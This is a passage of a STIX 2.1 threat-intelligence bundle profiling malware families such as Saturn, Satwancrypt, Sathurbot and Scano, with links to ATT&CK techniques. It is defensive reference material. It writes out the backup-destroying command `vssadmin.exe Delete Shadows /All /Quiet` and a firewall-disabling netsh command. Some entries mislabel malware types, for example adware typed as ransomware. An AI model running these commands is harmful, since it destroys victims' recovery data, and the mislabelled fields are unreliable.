      "source_ref": "malware--3f2b2a8f-9f00-5244-8755-ddc593231460",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Satancrypt exhibits technique T1489 (Service Stop (Forcefully stopping AV services))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--70dfe219-4255-522c-8534-62a5300b34c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f2b2a8f-9f00-5244-8755-ddc593231460",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Satancrypt exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bad07677-3546-5f37-a9a7-5c7b57a89f94",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f2b2a8f-9f00-5244-8755-ddc593231460",
      "target_ref": "attack-pattern--1bebd12d-91bd-5238-ab4b-3db129d6804f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Satancrypt exhibits technique T1078 (Valid Accounts (The goal of the attack))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--10c25b5d-9b8a-51c2-a912-8e3e55ede1e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sathurbot",
      "description": "Trojan:Win32/Sathurbot is a sophisticated botnet agent known for its unique propagation and Command and Control (C2) methods. Unlike bots that rely solely on email spam, Sathurbot actively utilizes torrents and compromised WordPress sites to distribute itself (`T1189`), and leverages legitimate search engines or peer-to-peer mechanisms for resilience (`T1071.001`).<br><br><b>Understanding Sathurbot (Botnet Architecture)</b><br>To an end-user, the infection is silent, though their internet connection may seem saturated. For a SOC analyst, a Sathurbot detection indicates the machine has been drafted into a global criminal network. It will be used to scrape the web for vulnerable CMS sites, perform brute-force attacks, or seed malicious torrents to infect others.<br><br><b>Execution and Propagation Mechanics</b><br>Sathurbot frequently arrives bundled within cracked software or pirated movies downloaded via torrents (`T1204.002`). Once executed, it establishes persistence and immediately begins communicating with its C2 infrastructure. Sathurbot is notable for using heavily obfuscated, multi-stage loading to evade detection (`T1027`). Once integrated into the botnet, the infected machine receives 'jobs'. These jobs often involve performing automated Google or Bing searches to find WordPress sites, and then launching dictionary attacks (`T1110`) against their login pages to expand the botnet's infrastructure.<br><br><b>Indicators of Compromise & Impact</b><br>The impact includes the consumption of network resources and the legal liability of the endpoint participating in attacks against third parties. Host-based IoCs include high CPU usage (during brute-force tasks) and the presence of unknown executables in the `%AppData%` directory. Network IoCs are highly distinct: an infected host will generate massive amounts of automated traffic to search engines, followed by numerous HTTP POST requests (login attempts) to `wp-login.php` pages on hundreds of unrelated domains. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sathurbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sathurbot"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4611110-20ac-53b7-986c-04af618d0ea8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10c25b5d-9b8a-51c2-a912-8e3e55ede1e0",
      "target_ref": "attack-pattern--3cea5863-ee5e-5a28-855f-c5dda06ae573",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sathurbot exhibits technique T1110 (Brute Force (The botnet's primary method for compromising new WordPress sites))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae6b54e9-5615-5eab-9f74-a402d9bb5c6d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10c25b5d-9b8a-51c2-a912-8e3e55ede1e0",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sathurbot exhibits technique T1189 (Drive-by Compromise (Using compromised sites and torrents to spread))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--034be2a3-2d7e-5e2b-b44b-e4e11dd42a67",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10c25b5d-9b8a-51c2-a912-8e3e55ede1e0",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sathurbot exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (Using HTTP/HTTPS for C2 and attacks))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--24b27537-72c5-5164-bed2-b6f1bc0842e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Saturn",
      "description": "Ransomware:Win32/Saturn is a destructive crypto-ransomware family designed to extort organizations by encrypting critical data and demanding payment in cryptocurrency for the decryption key. It operates on a Ransomware-as-a-Service (RaaS) model, where the core developers lease the malware to various affiliates who handle the distribution and initial infection, splitting the profits. Saturn was notable for offering affiliates a portal to generate custom decryptors and manage their campaigns.<br><br><b>Understanding Saturn (Ransomware)</b><br>To an end-user, a Saturn infection is catastrophic. Files become inaccessible, their extensions are changed (e.g., appended with `.saturn`), and a text or HTML file drops onto the desktop demanding a ransom. For an enterprise, it represents a massive incident requiring immediate disaster recovery protocols. The attackers leverage strong encryption (typically AES combined with RSA) (`T1486`) to ensure data recovery is mathematically impossible without the attacker's private key.<br><br><b>Execution and Extortion Mechanics</b><br>Saturn is distributed via various methods depending on the affiliate, commonly including malspam (`T1566.001`), exploit kits, or RDP brute-forcing (`T1133`). Upon execution, the malware rapidly disables local recovery options (`T1490`) by executing `vssadmin.exe Delete Shadows /All /Quiet` and disabling Windows Startup Repair. It then traverses local drives and mapped network shares, encrypting files matching specific extensions (documents, databases, images). Finally, it drops the ransom note (`T1491.001`) and changes the desktop wallpaper to ensure the victim is aware of the extortion demand.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is severe business disruption, potential data loss, and financial extortion. Host-based IoCs include EDR alerts for rapid, mass file modifications (`T1486`), the execution of `vssadmin.exe` or `bcdedit.exe` to destroy backups, and the presence of the `.saturn` file extensions. The creation of `#!_Saturn_Decrypt_!#.txt` or similar ransom notes in multiple directories is a definitive indicator. Network IoCs may include the initial dropper communicating with known RaaS infrastructure, though the encryption process itself does not require network connectivity. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Saturn",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/saturn"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c5965188-bb51-523d-ac6f-b49f10b23f24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--24b27537-72c5-5164-bed2-b6f1bc0842e6",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Saturn exhibits technique T1486 (Data Encrypted for Impact (The core ransomware action))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--969f19a3-9bf8-51c1-b673-38edd8143276",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--24b27537-72c5-5164-bed2-b6f1bc0842e6",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Saturn exhibits technique T1490 (Inhibit System Recovery (Deleting Volume Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2dece542-d314-5826-beab-32afb0f209e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--24b27537-72c5-5164-bed2-b6f1bc0842e6",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Saturn exhibits technique T1491.001 (Defacement: Internal Defacement (Changing wallpaper / dropping notes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d3ea0305-99c4-501f-8fc7-9c9c9c7e8b8e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Satwancrypt",
      "description": "Ransom:Win32/Satwancrypt is a destructive ransomware strain designed to infiltrate corporate networks, encrypt critical business data, and extort organizations for financial gain. Like most modern ransomware families, Satwancrypt focuses on rapid encryption and ensuring backups are destroyed before the victim is presented with the ransom demand.<br><br><b>Understanding the Satwancrypt Threat</b><br>To an infected user, the outcome is catastrophic: documents, databases, and critical files are suddenly inaccessible, their filenames often altered to include a specific extension (e.g., `.satwan`). A ransom note (usually a `.txt` or `.hta` file) is dropped in every encrypted directory, demanding payment in cryptocurrency (Bitcoin or Monero) in exchange for the decryption key. For a security operations center (SOC), a Satwancrypt detonation represents the final, most visible stage of a potentially prolonged network compromise.<br><br><b>Execution and Encryption Mechanics</b><br>Satwancrypt is typically deployed manually by attackers after they have gained deep access to the network via Initial Access Brokers (IABs) utilizing compromised RDP credentials (`T1133`) or unpatched VPN vulnerabilities (`T1190`). Once deployed via Group Policy or PsExec (`T1569.002`), the ransomware first attempts to neutralize endpoint defenses (`T1562.001`). Crucially, it executes a series of commands (often `vssadmin.exe Delete Shadows /All /Quiet`) to destroy Windows Volume Shadow Copies (`T1490`), preventing the victim from easily restoring files locally. It then rapidly encrypts targeted files (`T1486`) using strong cryptographic algorithms (typically AES paired with RSA), ensuring the files cannot be decrypted without the attacker's private key.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is severe operational downtime and potential permanent data loss. The primary IoC is the massive, rapid modification of files across the hard drive and network shares, and the appearance of the ransom note. Host-based IoCs include EDR alerts for the mass deletion of shadow copies and the sudden termination of database and backup services (like SQL or Exchange) to unlock files for encryption. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Satwancrypt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/satwancrypt"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce7dbb1a-36aa-55c5-89a2-bd59250a1992",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d3ea0305-99c4-501f-8fc7-9c9c9c7e8b8e",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Satwancrypt exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2638d663-847c-5516-8d17-b129486b9f37",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d3ea0305-99c4-501f-8fc7-9c9c9c7e8b8e",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Satwancrypt exhibits technique T1490 (Inhibit System Recovery (Deleting Volume Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--769db1b7-a04d-531a-b158-91cc0ddf892b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d3ea0305-99c4-501f-8fc7-9c9c9c7e8b8e",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Satwancrypt exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Killing AV processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--365cd8de-a4c1-512a-aa97-58ea8a07cda2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d3ea0305-99c4-501f-8fc7-9c9c9c7e8b8e",
      "target_ref": "attack-pattern--48fff4f5-81fe-501f-a217-61aa95f17bee",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Satwancrypt exhibits technique T1569.002 (System Services: Service Execution (Deploying via PsExec))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1b58978d-6ad8-59a3-a3cc-efe112864fc6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sbdbat2Exe",
      "description": "HackTool:Win32/Sbdbat2exe (Bat2Exe) is not a malware family in the traditional sense; it is a **Malware Creation Tool / Wrapper**. It is a utility designed to convert standard Windows Batch scripts (`.bat` or `.cmd`) into compiled executable binaries (`.exe`). While legitimately used by system administrators to hide script source code, it is heavily abused by low-tier threat actors (script kiddies) to obfuscate malicious commands and evade basic antivirus detection.<br><br><b>Understanding Bat2Exe Tools</b><br>To an end-user, an executable created by Bat2Exe looks like any other program, perhaps masquerading as a game installer or a document. For a security analyst, a Bat2Exe detection indicates that an attacker is attempting to execute command-line logic but wrapping it in an executable wrapper to bypass security policies that might normally block `.bat` files from running via email or web downloads.<br><br><b>Execution and Wrapping Mechanics</b><br>The tool itself (`Sbdbat2exe`) is used by the attacker on their own machine. They write a malicious batch script\u2014for example, commands to delete shadow copies (`vssadmin delete shadows`), disable the firewall (`netsh advfirewall set`), or download a secondary payload using PowerShell (`T1059.003`). They use Bat2Exe to compile this script into `invoice.exe`. The resulting binary is fundamentally a self-extracting archive (`T1027`). When the victim executes `invoice.exe` (`T1204.002`), the wrapper drops the original `.bat` file into a temporary directory (like `%Temp%`) and silently executes it using the Windows command interpreter (`cmd.exe`) (`T1059.003`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the contents of the hidden batch script. Host-based IoCs are highly specific: EDR telemetry will show an unknown executable suddenly dropping a `.bat` file into `%Temp%` and immediately spawning `cmd.exe /c [scriptname.bat]`. Static analysis of the `.exe` will often reveal the cleartext batch commands embedded within the resource section of the binary, or signature engines will flag the known wrapper stub used by the Bat2Exe compiler. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sbdbat2Exe",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sbdbat2exe"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4faf4add-4734-5432-9724-698f2ca73df5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b58978d-6ad8-59a3-a3cc-efe112864fc6",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sbdbat2Exe exhibits technique T1027 (Obfuscated Files or Information (Wrapping scripts in EXEs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--caf34723-7e02-518b-9447-057023641425",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b58978d-6ad8-59a3-a3cc-efe112864fc6",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sbdbat2Exe exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74a12d36-368f-5fce-8597-09990879aae8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b58978d-6ad8-59a3-a3cc-efe112864fc6",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sbdbat2Exe exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--21d9ffda-64f1-5d47-98e4-3cc43feb43d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sbdld",
      "description": "<h3>Executive Summary</h3>\nSBDLD (often classified as Trojan.Downloader.SBDLD) is a malicious Trojan explicitly designed to act as a stealthy vanguard for subsequent cyberattacks. Its primary function is to covertly infiltrate Windows systems, establish a persistent foothold, and act as a highly reliable downloader for remote threat actors, facilitating the automated deployment of secondary, highly destructive malware payloads.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSBDLD is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, SBDLD operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> SBDLD ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, SBDLD receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nAn SBDLD infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the SBDLD executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because SBDLD frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Downloader.SBDLD",
        "Trojan.SBDLD",
        "Win32/SBDLD"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sbdld",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sbdld"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6e6cfc82-c77e-5e3f-8247-c241bb29e0b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--21d9ffda-64f1-5d47-98e4-3cc43feb43d3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sbdld exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--112485ec-2f3d-5887-aa00-7c8a926ce7c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--21d9ffda-64f1-5d47-98e4-3cc43feb43d3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sbdld exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c9f88cc-36af-5912-ac11-0253d97bb4ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--21d9ffda-64f1-5d47-98e4-3cc43feb43d3",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sbdld exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6fd50565-88e6-589c-999b-b1be84f2d711",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sbyinying",
      "description": "<h3>Executive Summary</h3>\nSbyinying is a highly persistent adware and Potentially Unwanted Program (PUP) designed to monetize infected systems through aggressive advertising. Often bundled with unverified freeware, this adware alters system and browser configurations to maximize exposure to affiliate networks and malicious advertisements.\n\n<h3>Threat Behavior and Infection Vector</h3>\nThe primary infection vector for Sbyinying relies on deceptive software bundles and deceptive download links. Once executed on a target machine, it establishes persistence via registry run keys and scheduled tasks. The adware heavily modifies browser settings\u2014such as default search engines, homepages, and new tab URLs\u2014redirecting user traffic to domains controlled by threat actors. \n\nSecurity researchers have observed Sbyinying injecting tracking scripts into active browsing sessions, violating user privacy by collecting search queries, browsing history, and device telemetry. This data is often sold to third-party data brokers or used to serve highly targeted malvertising campaigns.\n\n<h3>Risk Assessment</h3>\nWhile technically classified as a Potentially Unwanted Program rather than destructive malware, Sbyinying presents a significant operational risk. The injected advertisements often lead to drive-by downloads or social engineering scams, potentially acting as a conduit for more severe payloads like ransomware or info-stealers. Furthermore, the constant background execution of ad-rendering processes severely degrades system performance and battery life.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Implement EDR solutions to detect unauthorized registry modifications and anomalous browser extension installations.</li>\n<li><strong>Software Restriction Policies:</strong> Enforce application control to prevent the execution of unsigned or unverified software installers.</li>\n<li><strong>Manual Remediation:</strong> Remove suspicious programs from the control panel, delete associated scheduled tasks, and reset all web browsers to their default configurations. Scan with a reputable anti-malware tool to clear residual registry artifacts.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Sbyinying",
        "PUP.Sbyinying",
        "Win32/Sbyinying"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sbyinying",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sbyinying"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a1a4e43b-a1b9-568b-aa19-7db6f247669a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6fd50565-88e6-589c-999b-b1be84f2d711",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sbyinying exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c550e4e5-d57e-50d2-a9fb-3aa1d86353d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6fd50565-88e6-589c-999b-b1be84f2d711",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sbyinying exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e0c1dea-502e-53f3-bef2-463f99405704",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6fd50565-88e6-589c-999b-b1be84f2d711",
      "target_ref": "attack-pattern--0ebf3f78-b94e-5a10-9fa5-4141377ac9f4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sbyinying exhibits technique T1564 (Hide Artifacts)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6714e2ce-d083-5040-8945-7eeef826fa3b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Scano",
      "description": "Trojan:Win32/Scano is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Scano</b><br>To an end-user, a Scano infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Scano is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Scano is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Scano frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Scano reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Scano",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/scano"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e1ac95f8-0e7c-5e41-a939-752c87d9c75c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6714e2ce-d083-5040-8945-7eeef826fa3b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scano exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1d35887e-a40b-538c-888f-d16db281b068",
      "created": "2026-01-01T00:00:00.000Z",
